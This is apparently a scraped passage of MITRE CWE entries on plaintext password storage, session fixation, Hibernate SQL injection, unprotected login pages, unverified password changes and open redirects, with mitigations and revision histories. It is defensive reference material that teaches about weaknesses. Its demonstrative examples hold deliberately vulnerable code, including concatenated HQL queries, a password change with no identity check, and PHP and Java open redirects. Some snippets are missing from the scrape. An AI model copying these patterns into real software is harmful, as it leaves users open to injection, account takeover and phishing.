Results	InterpretationAccording	to	SOAR,	the	following	detection	techniques	may	be	useful:	Cost	effective	for	partial	coverage:	Web	Application	Scanner	Web	Services	Scanner	Database	Scanners	Effectiveness:	SOAR	Partial	Dynamic	Analysis	with	Manual	Results	InterpretationAccording	to	SOAR,	the	following	detection	techniques	may	be	useful:	Cost	effective	for	partial	coverage:	Fuzz	Tester	Framework-based	Fuzzer	Automated	Monitored	Execution	Man-in-the-middle	attack	tool	Manual	Static	Analysis	-	Source	CodeAccording	to	SOAR,	the	following
detection	techniques	may	be	useful:	Focused	Manual	Spotcheck	-	Focused	manual	analysis	of	source	Manual	Source	Code	Review	(not	inspections)	Automated	Static	Analysis	-	Source	CodeAccording	to	SOAR,	the	following	detection	techniques	may	be	useful:	Cost	effective	for	partial	coverage:	Context-configured	Source	Code	Weakness	Analyzer	Effectiveness:	SOAR	Partial	Architecture	or	Design	ReviewAccording	to	SOAR,	the	following	detection	techniques	may	be	useful:	Inspection	(IEEE	1028	standard)	(can	apply	to	requirements,	design,	source	code,	etc.)
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DateSubmitterOrganization2013-07-16CWE	Content	TeamMITRE	NotesRelationshipThis	is	an	unusual	category.	CWE	does	not	cover	the	limitations	of	human	processes	and	procedures	that	cannot	be	described	in	terms	of	a	specific	technical	weakness	as	resident	in	the	code,	architecture,	or	configuration	of	the	software.	Since	"known	vulnerabilities"	can	arise	from	any	kind	of	weakness,	it	is	not	possible	to	map	this	OWASP	category	to	other	CWE	entries,	since	it	would	effectively	require	mapping	this	category	to	ALL	weaknesses.	Content	History
SubmissionsSubmission	DateSubmitterOrganization2013-07-16CWE	Content	TeamMITRE	ModificationsModification	DateModifierOrganization2021-10-28CWE	Content	TeamMITREupdated	Relationships	Weakness	ID:	256Abstraction:	BaseStructure:	Simple	DescriptionStoring	a	password	in	plaintext	may	result	in	a	system	compromise.	Extended	DescriptionPassword	management	issues	occur	when	a	password	is	stored	in	plaintext	in	an	application's	properties,	configuration	file,	or	memory.	Storing	a	plaintext	password	in	a	configuration	file	allows	anyone
who	can	read	the	file	access	to	the	password-protected	resource.	In	some	contexts,	even	storage	of	a	plaintext	password	in	memory	is	considered	a	security	risk	if	the	password	is	not	cleared	immediately	after	it	is	used.	Applicable	PlatformsThis	listing	shows	possible	areas	for	which	the	given	weakness	could	appear.	These	may	be	for	specific	named	Languages,	Operating	Systems,	Architectures,	Paradigms,	Technologies,	or	a	class	of	such	platforms.	The	platform	is	listed	along	with	how	frequently	the	given	weakness	appears	for	that	instance.Languages
Class:	Language-Independent	(Undetermined	Prevalence)	Common	ConsequencesThis	table	specifies	different	individual	consequences	associated	with	the	weakness.	The	Scope	identifies	the	application	security	area	that	is	violated,	while	the	Impact	describes	the	negative	technical	impact	that	arises	if	an	adversary	succeeds	in	exploiting	this	weakness.	The	Likelihood	provides	information	about	how	likely	the	specific	consequence	is	expected	to	be	seen	relative	to	the	other	consequences	in	the	list.	For	example,	there	may	be	high	likelihood	that	a	weakness
will	be	exploited	to	achieve	a	certain	impact,	but	a	low	likelihood	that	it	will	be	exploited	to	achieve	a	different	impact.ScopeImpactLikelihoodAccess	ControlTechnical	Impact:	Gain	Privileges	or	Assume	Identity	Likelihood	Of	Exploit	Demonstrative	ExamplesExample	1The	following	code	reads	a	password	from	a	properties	file	and	uses	the	password	to	connect	to	a	database.	...Properties	prop	=	new	Properties();prop.load(new	FileInputStream("config.properties"));String	password	=	prop.getProperty("password");DriverManager.getConnection(url,	usr,
password);...	This	code	will	run	successfully,	but	anyone	who	has	access	to	config.properties	can	read	the	value	of	password.	If	a	devious	employee	has	access	to	this	information,	they	can	use	it	to	break	into	the	system.Example	2The	following	code	reads	a	password	from	the	registry	and	uses	the	password	to	create	a	new	network	credential.	...String	password	=	regKey.GetValue(passKey).toString();NetworkCredential	netCred	=	new	NetworkCredential(username,password,domain);...	This	code	will	run	successfully,	but	anyone	who	has	access	to	the	registry
key	used	to	store	the	password	can	read	the	value	of	password.	If	a	devious	employee	has	access	to	this	information,	they	can	use	it	to	break	into	the	systemExample	3The	following	examples	show	a	portion	of	properties	and	configuration	files	for	Java	and	ASP.NET	applications.	The	files	include	username	and	password	information	but	they	are	stored	in	cleartext.This	Java	example	shows	a	properties	file	with	a	cleartext	username	/	password	pair.	#	Java	Web	App	ResourceBundle	properties	file
...webapp.ldap.username=secretUsernamewebapp.ldap.password=secretPassword...	The	following	example	shows	a	portion	of	a	configuration	file	for	an	ASP.Net	application.	This	configuration	file	includes	username	and	password	information	for	a	connection	to	a	database	but	the	pair	is	stored	in	cleartext.	......	Username	and	password	information	should	not	be	included	in	a	configuration	file	or	a	properties	file	in	cleartext	as	this	will	allow	anyone	who	can	read	the	file	access	to	the	resource.	If	possible,	encrypt	this	information.	Potential	Mitigations	Phase:
Architecture	and	DesignAvoid	storing	passwords	in	easily	accessible	locations.	Phase:	Architecture	and	DesignConsider	storing	cryptographic	hashes	of	passwords	as	an	alternative	to	storing	in	plaintext.	A	programmer	might	attempt	to	remedy	the	password	management	problem	by	obscuring	the	password	with	an	encoding	function,	such	as	base	64	encoding,	but	this	effort	does	not	adequately	protect	the	password	because	the	encoding	can	be	detected	and	decoded	easily.	Weakness	OrdinalitiesOrdinalityDescription	Primary(where	the	weakness	exists
independent	of	other	weaknesses)	Content	History	SubmissionsSubmission	DateSubmitterOrganization2006-07-197	Pernicious	Kingdoms	ModificationsModification	DateModifierOrganization2008-09-08CWE	Content	TeamMITREupdated	Relationships,	Other_Notes,	Taxonomy_Mappings,	Weakness_Ordinalities2009-07-27CWE	Content	TeamMITREupdated	Demonstrative_Examples2011-06-01CWE	Content	TeamMITREupdated	Common_Consequences,	Relationships,	Taxonomy_Mappings2012-05-11CWE	Content	TeamMITREupdated	Demonstrative_Examples,
References,	Relationships,	Taxonomy_Mappings2012-10-30CWE	Content	TeamMITREupdated	Demonstrative_Examples,	Potential_Mitigations2014-06-23CWE	Content	TeamMITREupdated	Description,	Modes_of_Introduction,	Other_Notes,	Potential_Mitigations,	Relationships2014-07-30CWE	Content	TeamMITREupdated	Relationships,	Taxonomy_Mappings2017-11-08CWE	Content	TeamMITREupdated	Applicable_Platforms,	Causal_Nature,	Likelihood_of_Exploit,	Modes_of_Introduction,	Relationships2018-03-27CWE	Content	TeamMITREupdated	Name,
Relationships2019-06-20CWE	Content	TeamMITREupdated	Type2020-02-24CWE	Content	TeamMITREupdated	References,	Relationships2021-03-15CWE	Content	TeamMITREupdated	Demonstrative_Examples2021-07-20CWE	Content	TeamMITREupdated	Description,	Name,	Relationships2021-10-28CWE	Content	TeamMITREupdated	Relationships	Previous	Entry	NamesChange	DatePrevious	Entry	Name2008-01-30Plaintext	Storage2018-01-23Plaintext	Storage	of	a	Password2018-03-27Plaintext	Storage	of	a	Password2021-07-20Unprotected	Storage	of
Credentials	Weakness	ID:	384Abstraction:	CompoundStructure:	Composite	DescriptionAuthenticating	a	user,	or	otherwise	establishing	a	new	user	session,	without	invalidating	any	existing	session	identifier	gives	an	attacker	the	opportunity	to	steal	authenticated	sessions.	Extended	DescriptionSuch	a	scenario	is	commonly	observed	when:	A	web	application	authenticates	a	user	without	first	invalidating	the	existing	session,	thereby	continuing	to	use	the	session	already	associated	with	the	user.	An	attacker	is	able	to	force	a	known	session	identifier	on	a	user	so
that,	once	the	user	authenticates,	the	attacker	has	access	to	the	authenticated	session.	The	application	or	container	uses	predictable	session	identifiers.	In	the	generic	exploit	of	session	fixation	vulnerabilities,	an	attacker	creates	a	new	session	on	a	web	application	and	records	the	associated	session	identifier.	The	attacker	then	causes	the	victim	to	associate,	and	possibly	authenticate,	against	the	server	using	that	session	identifier,	giving	the	attacker	access	to	the	user's	account	through	the	active	session.	Applicable	PlatformsThis	listing	shows	possible	areas
for	which	the	given	weakness	could	appear.	These	may	be	for	specific	named	Languages,	Operating	Systems,	Architectures,	Paradigms,	Technologies,	or	a	class	of	such	platforms.	The	platform	is	listed	along	with	how	frequently	the	given	weakness	appears	for	that	instance.Languages	Class:	Language-Independent	(Undetermined	Prevalence)	Common	ConsequencesThis	table	specifies	different	individual	consequences	associated	with	the	weakness.	The	Scope	identifies	the	application	security	area	that	is	violated,	while	the	Impact	describes	the	negative
technical	impact	that	arises	if	an	adversary	succeeds	in	exploiting	this	weakness.	The	Likelihood	provides	information	about	how	likely	the	specific	consequence	is	expected	to	be	seen	relative	to	the	other	consequences	in	the	list.	For	example,	there	may	be	high	likelihood	that	a	weakness	will	be	exploited	to	achieve	a	certain	impact,	but	a	low	likelihood	that	it	will	be	exploited	to	achieve	a	different	impact.ScopeImpactLikelihoodAccess	ControlTechnical	Impact:	Gain	Privileges	or	Assume	Identity	Demonstrative	ExamplesExample	1The	following	example	shows
a	snippet	of	code	from	a	J2EE	web	application	where	the	application	authenticates	users	with	LoginContext.login()	without	first	calling	HttpSession.invalidate().	private	void	auth(LoginContext	lc,	HttpSession	session)	throws	LoginException	{}	In	order	to	exploit	the	code	above,	an	attacker	could	first	create	a	session	(perhaps	by	logging	into	the	application)	from	a	public	terminal,	record	the	session	identifier	assigned	by	the	application,	and	reset	the	browser	to	the	login	page.	Next,	a	victim	sits	down	at	the	same	public	terminal,	notices	the	browser	open	to
the	login	page	of	the	site,	and	enters	credentials	to	authenticate	against	the	application.	The	code	responsible	for	authenticating	the	victim	continues	to	use	the	pre-existing	session	identifier,	now	the	attacker	simply	uses	the	session	identifier	recorded	earlier	to	access	the	victim's	active	session,	providing	nearly	unrestricted	access	to	the	victim's	account	for	the	lifetime	of	the	session.	Even	given	a	vulnerable	application,	the	success	of	the	specific	attack	described	here	is	dependent	on	several	factors	working	in	the	favor	of	the	attacker:	access	to	an
unmonitored	public	terminal,	the	ability	to	keep	the	compromised	session	active	and	a	victim	interested	in	logging	into	the	vulnerable	application	on	the	public	terminal.In	most	circumstances,	the	first	two	challenges	are	surmountable	given	a	sufficient	investment	of	time.	Finding	a	victim	who	is	both	using	a	public	terminal	and	interested	in	logging	into	the	vulnerable	application	is	possible	as	well,	so	long	as	the	site	is	reasonably	popular.	The	less	well	known	the	site	is,	the	lower	the	odds	of	an	interested	victim	using	the	public	terminal	and	the	lower	the
chance	of	success	for	the	attack	vector	described	above.	The	biggest	challenge	an	attacker	faces	in	exploiting	session	fixation	vulnerabilities	is	inducing	victims	to	authenticate	against	the	vulnerable	application	using	a	session	identifier	known	to	the	attacker.In	the	example	above,	the	attacker	did	this	through	a	direct	method	that	is	not	subtle	and	does	not	scale	suitably	for	attacks	involving	less	well-known	web	sites.	However,	do	not	be	lulled	into	complacency;	attackers	have	many	tools	in	their	belts	that	help	bypass	the	limitations	of	this	attack	vector.	The
most	common	technique	employed	by	attackers	involves	taking	advantage	of	cross-site	scripting	or	HTTP	response	splitting	vulnerabilities	in	the	target	site	[12].	By	tricking	the	victim	into	submitting	a	malicious	request	to	a	vulnerable	application	that	reflects	JavaScript	or	other	code	back	to	the	victim's	browser,	an	attacker	can	create	a	cookie	that	will	cause	the	victim	to	reuse	a	session	identifier	controlled	by	the	attacker.	It	is	worth	noting	that	cookies	are	often	tied	to	the	top	level	domain	associated	with	a	given	URL.	If	multiple	applications	reside	on	the
same	top	level	domain,	such	as	bank.example.com	and	recipes.example.com,	a	vulnerability	in	one	application	can	allow	an	attacker	to	set	a	cookie	with	a	fixed	session	identifier	that	will	be	used	in	all	interactions	with	any	application	on	the	domain	example.com	[29].Example	2The	following	example	shows	a	snippet	of	code	from	a	J2EE	web	application	where	the	application	authenticates	users	with	a	direct	post	to	the	j_security_check,	which	typically	does	not	invalidate	the	existing	session	before	processing	the	login	request.	Potential	Mitigations	Phase:
Architecture	and	DesignInvalidate	any	existing	session	identifiers	prior	to	authorizing	a	new	user	session.	Phase:	Architecture	and	DesignFor	platforms	such	as	ASP	that	do	not	generate	new	values	for	sessionid	cookies,	utilize	a	secondary	cookie.	In	this	approach,	set	a	secondary	cookie	on	the	user's	browser	to	a	random	value	and	set	a	session	variable	to	the	same	value.	If	the	session	variable	and	the	cookie	value	ever	don't	match,	invalidate	the	session,	and	force	the	user	to	log	on	again.	NotesOtherOther	attack	vectors	include	DNS	poisoning	and	related
network	based	attacks	where	an	attacker	causes	the	user	to	visit	a	malicious	site	by	redirecting	a	request	for	a	valid	site.	Network	based	attacks	typically	involve	a	physical	presence	on	the	victim's	network	or	control	of	a	compromised	machine	on	the	network,	which	makes	them	harder	to	exploit	remotely,	but	their	significance	should	not	be	overlooked.	Less	secure	session	management	mechanisms,	such	as	the	default	implementation	in	Apache	Tomcat,	allow	session	identifiers	normally	expected	in	a	cookie	to	be	specified	on	the	URL	as	well,	which	enables
an	attacker	to	cause	a	victim	to	use	a	fixed	session	identifier	simply	by	emailing	a	malicious	URL.	Content	History	SubmissionsSubmission	DateSubmitterOrganization2006-07-197	Pernicious	Kingdoms	ModificationsModification	DateModifierOrganization2008-07-01Eric	DalciCigitalupdated	Time_of_Introduction2008-08-15VeracodeSuggested	OWASP	Top	Ten	2004	mapping2008-09-08CWE	Content	TeamMITREupdated	Description,	Relationships,	Other_Notes,	Taxonomy_Mappings2009-07-27CWE	Content	TeamMITREupdated	Demonstrative_Examples,
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Relationships2020-02-24CWE	Content	TeamMITREupdated	References,	Relationships2020-06-25CWE	Content	TeamMITREupdated	Description2021-10-28CWE	Content	TeamMITREupdated	Relationships	Weakness	ID:	564Abstraction:	VariantStructure:	Simple	DescriptionUsing	Hibernate	to	execute	a	dynamic	SQL	statement	built	with	user-controlled	input	can	allow	an	attacker	to	modify	the	statement's	meaning	or	to	execute	arbitrary	SQL	commands.	Common	ConsequencesThis	table	specifies	different	individual	consequences	associated	with	the	weakness.
The	Scope	identifies	the	application	security	area	that	is	violated,	while	the	Impact	describes	the	negative	technical	impact	that	arises	if	an	adversary	succeeds	in	exploiting	this	weakness.	The	Likelihood	provides	information	about	how	likely	the	specific	consequence	is	expected	to	be	seen	relative	to	the	other	consequences	in	the	list.	For	example,	there	may	be	high	likelihood	that	a	weakness	will	be	exploited	to	achieve	a	certain	impact,	but	a	low	likelihood	that	it	will	be	exploited	to	achieve	a	different
impact.ScopeImpactLikelihoodConfidentialityIntegrityTechnical	Impact:	Read	Application	Data;	Modify	Application	Data	Demonstrative	ExamplesExample	1The	following	code	excerpt	uses	Hibernate's	HQL	syntax	to	build	a	dynamic	query	that's	vulnerable	to	SQL	injection.	String	street	=	getStreetFromUser();Query	query	=	session.createQuery("from	Address	a	where	a.street='"	+	street	+	"'");	Potential	Mitigations	Phase:	RequirementsA	non-SQL	style	database	which	is	not	subject	to	this	flaw	may	be	chosen.	Phase:	Architecture	and	DesignFollow	the
principle	of	least	privilege	when	creating	user	accounts	to	a	SQL	database.	Users	should	only	have	the	minimum	privileges	necessary	to	use	their	account.	If	the	requirements	of	the	system	indicate	that	a	user	can	read	and	modify	their	own	data,	then	limit	their	privileges	so	they	cannot	read/write	others'	data.	Phase:	Architecture	and	DesignFor	any	security	checks	that	are	performed	on	the	client	side,	ensure	that	these	checks	are	duplicated	on	the	server	side,	in	order	to	avoid	CWE-602.	Attackers	can	bypass	the	client-side	checks	by	modifying	values	after
the	checks	have	been	performed,	or	by	changing	the	client	to	remove	the	client-side	checks	entirely.	Then,	these	modified	values	would	be	submitted	to	the	server.	Phase:	ImplementationImplement	SQL	strings	using	prepared	statements	that	bind	variables.	Prepared	statements	that	do	not	bind	variables	can	be	vulnerable	to	attack.	Phase:	ImplementationUse	vigorous	allowlist	style	checking	on	any	user	input	that	may	be	used	in	a	SQL	command.	Rather	than	escape	meta-characters,	it	is	safest	to	disallow	them	entirely.	Reason:	Later	use	of	data	that	have
been	entered	in	the	database	may	neglect	to	escape	meta-characters	before	use.	Narrowly	define	the	set	of	safe	characters	based	on	the	expected	value	of	the	parameter	in	the	request.	Content	History	SubmissionsSubmission	DateSubmitterOrganization2006-07-19Anonymous	Tool	Vendor	(under	NDA)	ModificationsModification	DateModifierOrganization2008-07-01Sean	EidemillerCigitaladded/updated	demonstrative	examples2008-07-01Eric	DalciCigitalupdated	Time_of_Introduction2008-09-08CWE	Content	TeamMITREupdated	Relationships,
Taxonomy_Mappings2009-05-27CWE	Content	TeamMITREupdated	Related_Attack_Patterns2010-06-21CWE	Content	TeamMITREupdated	Potential_Mitigations2011-06-01CWE	Content	TeamMITREupdated	Common_Consequences2012-05-11CWE	Content	TeamMITREupdated	Relationships2012-10-30CWE	Content	TeamMITREupdated	Potential_Mitigations2013-07-17CWE	Content	TeamMITREupdated	Relationships2014-07-30CWE	Content	TeamMITREupdated	Relationships,	Taxonomy_Mappings2017-05-03CWE	Content	TeamMITREupdated
Potential_Mitigations2017-11-08CWE	Content	TeamMITREupdated	Taxonomy_Mappings2018-03-27CWE	Content	TeamMITREupdated	Relationships2020-02-24CWE	Content	TeamMITREupdated	Relationships2020-06-25CWE	Content	TeamMITREupdated	Potential_Mitigations2020-08-20CWE	Content	TeamMITREupdated	Relationships2021-10-28CWE	Content	TeamMITREupdated	Relationships	Weakness	ID:	523Abstraction:	BaseStructure:	Simple	DescriptionLogin	pages	do	not	use	adequate	measures	to	protect	the	user	name	and	password	while	they	are	in
transit	from	the	client	to	the	server.	Common	ConsequencesThis	table	specifies	different	individual	consequences	associated	with	the	weakness.	The	Scope	identifies	the	application	security	area	that	is	violated,	while	the	Impact	describes	the	negative	technical	impact	that	arises	if	an	adversary	succeeds	in	exploiting	this	weakness.	The	Likelihood	provides	information	about	how	likely	the	specific	consequence	is	expected	to	be	seen	relative	to	the	other	consequences	in	the	list.	For	example,	there	may	be	high	likelihood	that	a	weakness	will	be	exploited	to
achieve	a	certain	impact,	but	a	low	likelihood	that	it	will	be	exploited	to	achieve	a	different	impact.ScopeImpactLikelihoodAccess	ControlTechnical	Impact:	Gain	Privileges	or	Assume	Identity	Potential	Mitigations	Phases:	Operation;	System	ConfigurationEnforce	SSL	use	for	the	login	page	or	any	page	used	to	transmit	user	credentials	or	other	sensitive	information.	Even	if	the	entire	site	does	not	use	SSL,	it	MUST	use	SSL	for	login.	Additionally,	to	help	prevent	phishing	attacks,	make	sure	that	SSL	serves	the	login	page.	SSL	allows	the	user	to	verify	the	identity
of	the	server	to	which	they	are	connecting.	If	the	SSL	serves	login	page,	the	user	can	be	certain	they	are	talking	to	the	proper	end	system.	A	phishing	attack	would	typically	redirect	a	user	to	a	site	that	does	not	have	a	valid	trusted	server	certificate	issued	from	an	authorized	supplier.	Content	History	SubmissionsSubmission	DateSubmitterOrganization2006-07-19Anonymous	Tool	Vendor	(under	NDA)	ModificationsModification	DateModifierOrganization2008-07-01Eric	DalciCigitalupdated	Time_of_Introduction2008-09-08CWE	Content	TeamMITREupdated
Background_Details,	Relationships,	Other_Notes,	Taxonomy_Mappings2009-05-27CWE	Content	TeamMITREupdated	Related_Attack_Patterns2011-06-01CWE	Content	TeamMITREupdated	Common_Consequences2012-05-11CWE	Content	TeamMITREupdated	Relationships2012-10-30CWE	Content	TeamMITREupdated	Potential_Mitigations2014-06-23CWE	Content	TeamMITREupdated	Other_Notes,	Relationships2014-07-30CWE	Content	TeamMITREupdated	Relationships,	Taxonomy_Mappings2017-11-08CWE	Content	TeamMITREupdated
Modes_of_Introduction,	Relationships,	Taxonomy_Mappings2018-03-27CWE	Content	TeamMITREupdated	Relationships2020-02-24CWE	Content	TeamMITREupdated	Description,	Relationships,	Type2021-10-28CWE	Content	TeamMITREupdated	Relationships	Weakness	ID:	620Abstraction:	BaseStructure:	Simple	DescriptionWhen	setting	a	new	password	for	a	user,	the	product	does	not	require	knowledge	of	the	original	password,	or	using	another	form	of	authentication.	Extended	DescriptionThis	could	be	used	by	an	attacker	to	change	passwords	for	another
user,	thus	gaining	the	privileges	associated	with	that	user.	Applicable	PlatformsThis	listing	shows	possible	areas	for	which	the	given	weakness	could	appear.	These	may	be	for	specific	named	Languages,	Operating	Systems,	Architectures,	Paradigms,	Technologies,	or	a	class	of	such	platforms.	The	platform	is	listed	along	with	how	frequently	the	given	weakness	appears	for	that	instance.Languages	Class:	Language-Independent	(Undetermined	Prevalence)	Common	ConsequencesThis	table	specifies	different	individual	consequences	associated	with	the
weakness.	The	Scope	identifies	the	application	security	area	that	is	violated,	while	the	Impact	describes	the	negative	technical	impact	that	arises	if	an	adversary	succeeds	in	exploiting	this	weakness.	The	Likelihood	provides	information	about	how	likely	the	specific	consequence	is	expected	to	be	seen	relative	to	the	other	consequences	in	the	list.	For	example,	there	may	be	high	likelihood	that	a	weakness	will	be	exploited	to	achieve	a	certain	impact,	but	a	low	likelihood	that	it	will	be	exploited	to	achieve	a	different	impact.ScopeImpactLikelihoodAccess
ControlTechnical	Impact:	Bypass	Protection	Mechanism;	Gain	Privileges	or	Assume	Identity	Demonstrative	ExamplesExample	1This	code	changes	a	user's	password.	$user	=	$_GET['user'];$pass	=	$_GET['pass'];$checkpass	=	$_GET['checkpass'];if	($pass	==	$checkpass)	{SetUserPassword($user,	$pass);}	While	the	code	confirms	that	the	requesting	user	typed	the	same	new	password	twice,	it	does	not	confirm	that	the	user	requesting	the	password	change	is	the	same	user	whose	password	will	be	changed.	An	attacker	can	request	a	change	of	another	user's
password	and	gain	control	of	the	victim's	account.	Observed	ExamplesReferenceDescription	Web	app	allows	remote	attackers	to	change	the	passwords	of	arbitrary	users	without	providing	the	original	password,	and	possibly	perform	other	unauthorized	actions.	Web	application	password	change	utility	doesn't	check	the	original	password.	Potential	Mitigations	Phase:	Architecture	and	DesignWhen	prompting	for	a	password	change,	force	the	user	to	provide	the	original	password	in	addition	to	the	new	password.	Phase:	Architecture	and	DesignDo	not	use
"forgotten	password"	functionality.	But	if	you	must,	ensure	that	you	are	only	providing	information	to	the	actual	user,	e.g.	by	using	an	email	address	or	challenge	question	that	the	legitimate	user	already	provided	in	the	past;	do	not	allow	the	current	user	to	change	this	identity	information	until	the	correct	password	has	been	provided.	Weakness	OrdinalitiesOrdinalityDescription	Primary(where	the	weakness	exists	independent	of	other	weaknesses)	Resultant(where	the	weakness	is	typically	related	to	the	presence	of	some	other	weaknesses)	References	[REF-
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Relationships2014-07-30CWE	Content	TeamMITREupdated	Relationships,	Taxonomy_Mappings2017-11-08CWE	Content	TeamMITREupdated	Applicable_Platforms,	Modes_of_Introduction,	Relationships2018-03-27CWE	Content	TeamMITREupdated	Relationships2020-02-24CWE	Content	TeamMITREupdated	Relationships,	Type2021-10-28CWE	Content	TeamMITREupdated	Relationships	Weakness	ID:	601Abstraction:	BaseStructure:	Simple	DescriptionA	web	application	accepts	a	user-controlled	input	that	specifies	a	link	to	an	external	site,	and	uses	that	link
in	a	Redirect.	This	simplifies	phishing	attacks.	Extended	DescriptionAn	http	parameter	may	contain	a	URL	value	and	could	cause	the	web	application	to	redirect	the	request	to	the	specified	URL.	By	modifying	the	URL	value	to	a	malicious	site,	an	attacker	may	successfully	launch	a	phishing	scam	and	steal	user	credentials.	Because	the	server	name	in	the	modified	link	is	identical	to	the	original	site,	phishing	attempts	have	a	more	trustworthy	appearance.	Applicable	PlatformsThis	listing	shows	possible	areas	for	which	the	given	weakness	could	appear.	These
may	be	for	specific	named	Languages,	Operating	Systems,	Architectures,	Paradigms,	Technologies,	or	a	class	of	such	platforms.	The	platform	is	listed	along	with	how	frequently	the	given	weakness	appears	for	that	instance.Languages	Class:	Language-Independent	(Undetermined	Prevalence)Technologies	Class:	Web	Based	(Undetermined	Prevalence)	Common	ConsequencesThis	table	specifies	different	individual	consequences	associated	with	the	weakness.	The	Scope	identifies	the	application	security	area	that	is	violated,	while	the	Impact	describes	the
negative	technical	impact	that	arises	if	an	adversary	succeeds	in	exploiting	this	weakness.	The	Likelihood	provides	information	about	how	likely	the	specific	consequence	is	expected	to	be	seen	relative	to	the	other	consequences	in	the	list.	For	example,	there	may	be	high	likelihood	that	a	weakness	will	be	exploited	to	achieve	a	certain	impact,	but	a	low	likelihood	that	it	will	be	exploited	to	achieve	a	different	impact.ScopeImpactLikelihoodAccess	ControlTechnical	Impact:	Bypass	Protection	Mechanism;	Gain	Privileges	or	Assume	IdentityThe	user	may	be
redirected	to	an	untrusted	page	that	contains	malware	which	may	then	compromise	the	user's	machine.	This	will	expose	the	user	to	extensive	risk	and	the	user's	interaction	with	the	web	server	may	also	be	compromised	if	the	malware	conducts	keylogging	or	other	attacks	that	steal	credentials,	personally	identifiable	information	(PII),	or	other	important	data.	Access	ControlConfidentialityOtherTechnical	Impact:	Bypass	Protection	Mechanism;	Gain	Privileges	or	Assume	Identity;	OtherThe	user	may	be	subjected	to	phishing	attacks	by	being	redirected	to	an
untrusted	page.	The	phishing	attack	may	point	to	an	attacker	controlled	web	page	that	appears	to	be	a	trusted	web	site.	The	phishers	may	then	steal	the	user's	credentials	and	then	use	these	credentials	to	access	the	legitimate	web	site.	Likelihood	Of	Exploit	Demonstrative	ExamplesExample	1The	following	code	obtains	a	URL	from	the	query	string	and	then	redirects	the	user	to	that	URL.	$redirect_url	=	$_GET['url'];header("Location:	"	.	$redirect_url);	The	problem	with	the	above	code	is	that	an	attacker	could	use	this	page	as	part	of	a	phishing	scam	by
redirecting	users	to	a	malicious	site.	For	example,	assume	the	above	code	is	in	the	file	example.php.	An	attacker	could	supply	a	user	with	the	following	link:	The	user	sees	the	link	pointing	to	the	original	trusted	site	(example.com)	and	does	not	realize	the	redirection	that	could	take	place.Example	2The	following	code	is	a	Java	servlet	that	will	receive	a	GET	request	with	a	url	parameter	in	the	request	to	redirect	the	browser	to	the	address	specified	in	the	url	parameter.	The	servlet	will	retrieve	the	url	parameter	value	from	the	request	and	send	a	response	to
redirect	the	browser	to	the	url	address.	public	class	RedirectServlet	extends	HttpServlet	{	protected	void	doGet(HttpServletRequest	request,	HttpServletResponse	response)	throws	ServletException,	IOException	{String	query	=	request.getQueryString();if	(query.contains("url"))	{String	url	=	request.getParameter("url");response.sendRedirect(url);}}	}	The	problem	with	this	Java	servlet	code	is	that	an	attacker	could	use	the	RedirectServlet	as	part	of	a	e-mail	phishing	scam	to	redirect	users	to	a	malicious	site.	An	attacker	could	send	an	HTML	formatted	e-
mail	directing	the	user	to	log	into	their	account	by	including	in	the	e-mail	the	following	link:
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